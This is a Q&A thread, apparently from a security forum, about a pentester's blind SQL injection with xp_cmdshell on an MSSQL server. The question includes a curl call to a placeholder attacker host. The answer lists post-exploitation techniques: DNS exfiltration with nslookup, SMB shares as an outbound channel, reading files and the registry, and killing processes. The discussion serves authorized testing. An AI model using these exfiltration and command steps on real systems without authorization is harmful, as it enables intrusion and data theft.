1

I am doing a pentest on a client's ASP web application and I have identified a blind SQL injection. However, after enabling xp_cmdshell, I am only able to run the ping localhost command to verify the RCE, which has a 3-second delay. I also tried to run ping -n 10 localhost and it has a ~10s delay as well.

I am fairly certain that there is a RCE here but I can't seem to run other commands such as:

  • mkdir C:\Windows\Temp\pwned
  • mkdir C:\inetpub\wwwroot\pwned
  • del C:\Windows\Temp\randomFile
  • move C:\Windows\Temp\randomFile C:\Windows\Temp\randomFile2
  • curl http://attackerIP:80 (blocked by firewall)

I also managed to extract the username using the SELECT CURRENT_USER; command using the blind SQL vulnerability and it is dbo. The database version is MSSQL 2006.

What are some possible reasons that I am only able to run the ping localhost command and not others?

1
  • 1
    It looks to me that curl worked. What is the output if you run the other commands? How do you know that they don't work?
    – schroeder
    Commented Apr 5 at 15:39

1 Answer 1

1

The most obvious reason is that all the other things you're trying (besides curl) are at least moderately privileged operations - they require the ability to write to either system locations like the Windows directory or to locations owned by other users like the webroot - and the user (technically, service) account that the DB runs under doesn't have the relevant permissions. This is normal; low-privilege service accounts are a standard way of enforcing the principle of least privilege on single-purpose and heavily-targeted software such as web and DB servers. After all, the DB doesn't have any legitimate reason to do any of those things. Yes, all normal users are allowed to create subdirectories of \Windows\Temp - though certainly not to delete anything that they didn't themselves create - but service accounts are often not part of the Users group and thus lack this permission.

Incidentally, do you mean SQL Server 2016 (version 13)? There is no version 2006 (though v9, called SQL Server 2005, was technically released in January 2006). Relatedly, I wouldn't count on a server old enough to be running SQL Server 2016 (much less anything older) to have curl installed at all; that's only been included with Windows for a short time now.

Some things that are more likely to work than what you've been trying:

  • Read files (e.g. using type) or registry values (via reg) from public locations.
  • Manipulate files in locations that are writable to the server's service account (there might not be many of these - not all accounts get a profile directory - but there's probably somewhere).
  • Exfiltrate data via DNS queries (more likely than HTTP to be allowed through a firewall) by setting up your own DNS listener and then running nslookup <data to exfiltrate> <IP of your listener>, though note that this might break down if the data has spaces (or other characters disallowed in domain names).
  • Access SMB over the Internet (configure a SMB/SAMBA/Windows Networking listener exposed to the Internet, then attempt to access \\<your listener's IP address or hostname>\<your listener's share name>\folder\file via command shell); this is pretty likely to be blocked by firewall but allows easy proof of code execution plus data exfiltration if not (obviously, don't do this with any SMB server you really care about; the protocol is not really safe to expose over the Internet even though it works).
  • List processes (tasklist).
  • Terminate processes running as the same user (taskkill /f /im <executable name to terminate>) though of course if you kill the server itself you might lose code execution ability until it's back, and obviously don't do this unless you have permission to cause denial-of-service.
  • Launch processes that don't block the server by using start before the command name (they won't have any more permissions than you do now, but will persist after the xp_cmdshell operation completes, which it should do near-instantly).
  • Get the server host name (hostname) and similar information.
  • For simple proof of code execution, timeout <seconds> is an alternative to ping, though really ping ought to count.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .